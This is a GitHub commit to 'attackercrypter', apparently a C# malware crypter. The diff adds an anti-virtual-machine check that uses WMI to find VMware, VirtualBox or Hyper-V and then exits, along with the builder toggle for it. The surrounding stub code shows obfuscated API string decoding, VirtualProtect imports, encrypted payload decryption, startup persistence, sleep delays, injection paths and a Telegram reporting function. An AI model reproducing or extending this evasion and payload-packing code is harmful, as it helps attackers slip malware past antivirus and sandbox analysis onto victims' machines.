Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
TheNewAttacker64 committed Jun 9, 2023
1 parent 0fe28e6 commit e3aefd8
Show file tree
Hide file tree
Showing 6 changed files with 65 additions and 4 deletions.
24 changes: 21 additions & 3 deletions attackercrypter/Form1.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

12 changes: 12 additions & 0 deletions attackercrypter/Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -204,6 +204,7 @@ private void button2_Click(object sender, EventArgs e)

Params.ReferencedAssemblies.Add(typeof(System.Linq.Enumerable).Assembly.Location);
Params.ReferencedAssemblies.Add("System.Drawing.dll");
Params.ReferencedAssemblies.Add("System.Management.dll");

Source = Source.Replace("$MUTEX", mutex.Text);

Expand All @@ -229,6 +230,12 @@ private void button2_Click(object sender, EventArgs e)
Source = Source.Replace("public static bool istartup = false;", "public static bool istartup = true;");


}
if (vm.Checked)
{

Source = Source.Replace("public static bool antivm = false;", "public static bool antivm = true;");

}
else if (checkBox2.Checked && radioButton2.Checked)
{
Expand Down Expand Up @@ -658,6 +665,11 @@ private void pump_Click(object sender, EventArgs e)
{
pumpform.Show();
}

private void label10_Click(object sender, EventArgs e)
{

}
}
}

3 changes: 2 additions & 1 deletion attackercrypter/Properties/Resources.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

28 changes: 28 additions & 0 deletions attackercrypter/Resources/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
using System.Net.Sockets;
using System.Threading;
using System.Windows.Forms;
using System.Management;

[assembly: AssemblyTitle("#AssemblyProduct")]
[assembly: AssemblyDescription("#AssemblyDescription")]
Expand Down Expand Up @@ -84,6 +85,7 @@ static void sayebMutex(Mutex mutex)
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);


public static byte[] FOKFILE(string base64Cipher, string base64Key, string base64IV)
{
byte[] cipherBytes = Convert.FromBase64String(base64Cipher);
Expand Down Expand Up @@ -301,6 +303,28 @@ public static void sendtg(string msg, string bot, string chatid)
{
}
}
private static void DetectVirtualMachine()
{
using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
using (var items = searcher.Get())
{
foreach (var item in items)
{
string manufacturer = item["Manufacturer"].ToString().ToLower();
if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
|| manufacturer.Contains("vmware")
|| item["Model"].ToString() == "VirtualBox")
{
MessageBox.Show("vm Check!", "Don t use on vm", MessageBoxButtons.OK, MessageBoxIcon.Information);
Environment.Exit(0);
}
}
}
}

}

static void nikamsi()
{
IntPtr loadLibrary = LoadLibrary(FOKSTRING("ORQ8cBEtPhQ=", "@mM^gKDz#r4ZpKvI"));
Expand Down Expand Up @@ -353,6 +377,10 @@ static bool IsRunningInVirtualEnvironment()

static string niklhaomha(string zebi)
{
if (config.antivm == true)
{
DetectVirtualMachine();
}
if (config.issleep == true)
{
Thread.Sleep(config.sleeptime);
Expand Down
1 change: 1 addition & 0 deletions attackercrypter/Resources/config.cs
Original file line number Diff line number Diff line change
Expand Up @@ -40,5 +40,6 @@ internal class config
public static string dotnetipath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "#DOTNETINJECTPATH");
public static string command = "$command";
public static string Mutex = "$MUTEX";
public static bool antivm = false;
}
}
1 change: 1 addition & 0 deletions attackercrypter/attackercrypter.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@
</Compile>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<None Include="Resources\Program.cs" />
<None Include="packages.config" />
<None Include="Resources\Nik32.cs" />
<None Include="Resources\NIK64.cs" />
Expand Down

0 comments on commit e3aefd8

Please sign in to comment.